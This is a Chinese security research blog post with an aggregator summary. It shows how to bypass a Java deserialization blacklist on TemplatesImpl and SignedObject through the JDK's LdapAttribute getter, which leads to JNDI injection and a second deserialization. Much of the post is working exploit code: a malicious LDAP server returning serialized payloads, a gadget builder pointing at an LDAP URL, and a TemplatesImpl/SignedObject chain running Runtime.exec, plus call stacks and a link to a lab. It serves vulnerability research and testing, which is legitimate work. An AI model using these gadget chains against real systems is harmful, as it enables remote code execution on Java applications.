文章总结： 本文介绍了一种通过JDK类绕过TemplatesImpl黑名单的方法。作者在挖掘过程中发现，虽然TemplatesImpl被加入了黑名单，但可以利用其resolveClass方法在内部进行反序列化操作，从而绕过外部限制。文章详细分析了LdapAttribute类中的getAttributeDefinition和getBaseCtx方法如何触发JNDI注入，并最终导致二次反序列化，实现远程代码执行（RCE）。该方法适用于从低版本到高版本的多个JDK版本。 综合评分： 85 文章分类： 渗透测试,红队,WEB安全,恶意软件,安全开发
使用JDK类绕过TemplatesImpl黑名单
原创
Y4Sec Team Y4Sec Team
4ra1n
2023年9月10日 13:28 浙江
0x00 介绍
一次挖洞过程中，遇到了 TemplatesImpl resolveClass 黑名单，后来想起 RWCTF 中的一道题目，成功绕过该黑名单。于是和大家分享这个思路，并编写了对应的环境和靶机，希望大家可以有所收获
这个黑名单内容如下
private static final List<Object> BLACKLIST = Arrays.asList( "java.security.SignedObject", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
可以看到 SignedObject 也加入了黑名单中，在先知中已有文章说明如果通过 SignedObject#getObject 方法进行二次反序列化
0x01 分析
TemplatesImpl 链是一般调用栈如下
-> getOutputProperties-> newTransformer-> getTransletInstance-> defineTransletClasses-> defineClass
调用 getter 后最终调用 defineClass 加载了反射设置的 _bytecodes
最常见的两个链，底层都是TemplateImpl
（1）CB 链 – 最新版的 CB 链仍然能够利用，实战价值较大
（2）Jackson 链 – 能打 SpringBoot 默认原生反序列化的链
以 CB 链为例，调用 getOutputProperties 方法的过程如下：BeanComparator 类 compare 方法调用已设置属性的 getter 方法，当对象位 TemplateImpl 且属性是 outputProperties 时完成整个链
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)// ...getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163, BeanComparator (org.apache.commons.beanutils)
不难看出，这里只要是一个 getter 触发点即可
BeanComparator#compare -> AnyObject#getAny-> RCE
再来看 Jackson POJONode 原生链
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)// ...serialize:115, POJONode (com.fasterxml.jackson.databind.node)// ...writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)// ...nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)toString:68, BaseJsonNode (com.fasterxml.jackson.databind.node)readObject:86, BadAttributeValueExpException (javax.management)
POJONode 父类 BaseJsonNode 包含 toString 方法，通过 Bad…Exception 触发。在 Jackson 中把对象序列化到 JSON 字符串的方法是 ObjectMapper#writeValueAsString
在 POJONode 的 serialize 方法中，如果目标类型不是 JsonSerializable 将会进入 defaultSerializaValue 方法
最终在 BeanSerializerBase#serializeFields 中遍历所有属性，反射调用其 getter 方法
可以看出，无论 CB 还是 Jackson 原生链，底层逻辑一致：寻找一个可以导致 RCE 的 getter 方法和类即可
0x02 寻找类
寻找一个可以导致 RCE 的 getter 方法和类
能想到比较有可能思路大概有：getConnection -> ctx.lookup -> JNDI
遗憾这种思路可能存在于第三方库中，在 JDK 中找不到符合的
在 RWCTF 中，出题师傅发现 com.sun.jndi.ldap.LdapAttribute 类存在 getter 可以导致 JNDI 注入，这个类从低版本 JDK 到 8 都适用
该类中存在两处 getter 可以调用传统的 ctx.lookup 方法
然而这两个方法的 lookup 内容并不完全可控，因此无法利用
这里利用的是 java.naming.provider.url 属性，通过 getBaseCtx 方法设置 JNDI 的环境属性，再通过 getAttributeDefinition 调用 c_lookup
而漏洞的出发点，还在 getAttributeDefinition 方法中，但不再是 lookup 方法，而是 getBaseCtx 后通过 getSchema 触发
在 LdapCtxFactory 的 getInitialContext 方法中，读取了 JDNI Env 设置的 java.naming.provider.url 属性
在getUsingURLs 方法，一步步进入 LdapCtx 构造方法，通过 socket 与原创 LDAP 服务端建立了连接
在 getSchema 方法时，可以进入 LdapCtx#c_lookup 方法
c_lookup:1017, LdapCtx (com.sun.jndi.ldap)c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx)c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx)p_resolveIntermediate:397, ComponentContext (com.sun.jndi.toolkit.ctx)p_getSchema:432, ComponentDirContext (com.sun.jndi.toolkit.ctx)getSchema:422, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)getSchema:210, InitialDirContext (javax.naming.directory)getAttributeDefinition:207, LdapAttribute (com.sun.jndi.ldap)
当 LDAP Server 返回的 javaClassName 不为空时进入 decodeObject
当 javaSerializedData 数据不为空时，进入反序列化对象的方法
最终可以再次触发反序列化
另外，普通的 ctx.lookup 触发的点也是 c_lookup（调用栈如下）
c_lookup:1017, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417, InitialContext (javax.naming)
总结：LdapAttribute 这条链如下
LdapAttribute # getAttributeDefinition this.getBaseCtx()LdapAttribute # getBaseCtx this.baseCtxEnv.put("java.naming.provider.url", this.baseCtxURL); this.baseCtx = new InitialDirContext(this.baseCtxEnv);LdapAttribute # getAttributeDefinition baseCtx.getSchema(this.rdn)LdapCtx # c_lookupObj # deserializeObject
该绕过不仅可以在低版本 JDK 复现，在高版本 JDK 中也适用
0x03 复现
在复现之前，存在最后一个问题，为什么可以绕过黑名单
resolveClass 方法的作用是根据类的名称获取对应的 Class 对象，并通过类加载器加载该类。重写 resolveClass 方法的作用范围是使用了该 ObjectInputStream 类进行 readObject 操作时。不会影响到其他 ObjectInputStream 的 readObject 操作
简单来说，外层的黑名单不负责内部 readObject 操作的安全
new ObjectInputStream( new ByteArrayInputStream(byteArrayOutputStream.toByteArray())) { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { System.out.println(desc.getName()); return super.resolveClass(desc); }}.readObject();
一次反序列化经过 resolveClass 的所有类如下
javax.management.BadAttributeValueExpExceptionjava.lang.Exceptionjava.lang.Throwable[Ljava.lang.StackTraceElement;java.lang.StackTraceElementjava.util.Collections$UnmodifiableListjava.util.Collections$UnmodifiableCollectionjava.util.ArrayListcom.fasterxml.jackson.databind.node.POJONodecom.fasterxml.jackson.databind.node.ValueNodecom.fasterxml.jackson.databind.node.BaseJsonNodecom.sun.jndi.ldap.LdapAttributejavax.naming.directory.BasicAttributejavax.naming.CompositeName
如果想要复现这个绕过，我们需要自行写一个 LdapServer
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) { int port = 1389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base); entry.addAttribute("javaClassName", "Y4Sec"); try { entry.addAttribute("javaSerializedData", JacksonTemplatePayload.getData()); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); System.out.println("Send javaSerializedData"); } catch (Exception e) { e.printStackTrace(); } } }}
构建链的部分代码，替换了 getter 部分即可
public static void main(String[] args) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass();
POJONode node = new POJONode(getGadgetObj()); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(val); System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()))); }
public static BasicAttribute getGadgetObj() { try { Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); clazz_cons.setAccessible(true); BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); bcu_fi.setAccessible(true); bcu_fi.set(la, "ldap://127.0.0.1:1389/"); CompositeName cn = new CompositeName(); cn.add("a"); cn.add("b"); Field rdn_fi = clazz.getDeclaredField("rdn"); rdn_fi.setAccessible(true); rdn_fi.set(la, cn); return la; } catch (Exception e) { e.printStackTrace(); } return null;}
在 LdapServer 中使用正常的 Jackson TemplatesImpl Gadget
该例子中 SignedObject 已经拉黑，该类也可以结合 POJONode 来利用（如果目标拉黑 TemplatesImpl 但是没拉黑 SignedObject 适用）
public static void main(String[] args) throws Exception { List<Object> list = new ArrayList<>();
ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "y4sec"); setFieldValue(templatesImpl, "_tfactory", null);
ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass();
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp, jsonNodes);
list.add(exp);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode jsonNodes1 = new POJONode(signedObject);
BadAttributeValueExpException exp1 = new BadAttributeValueExpException(null); val.set(exp1, jsonNodes1);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(exp1); FileOutputStream fout = new FileOutputStream("1.ser"); fout.write(barr.toByteArray()); fout.close();
System.out.println(serial(exp1));}
0x04 靶场环境
对于这个问题，我编写了一个靶场，包含了一个 SpringBoot 应用，生成 Gadget 类和 LdapServer 辅助类
完整代码位于
https://github.com/Y4Sec-Team/no-templates
启动 NoTemplatesApplication 应用，使用 JacksonTemplatePayload 类生成普通 TemplatesImpl 链测试，报错该类位于黑名单
使用 SignedObject 二次反序列化绕黑名单同样报错
启动 LdapServer 后使用 JacksonLdapAttrPayload 生成 Payload 测试
成功弹出计算器
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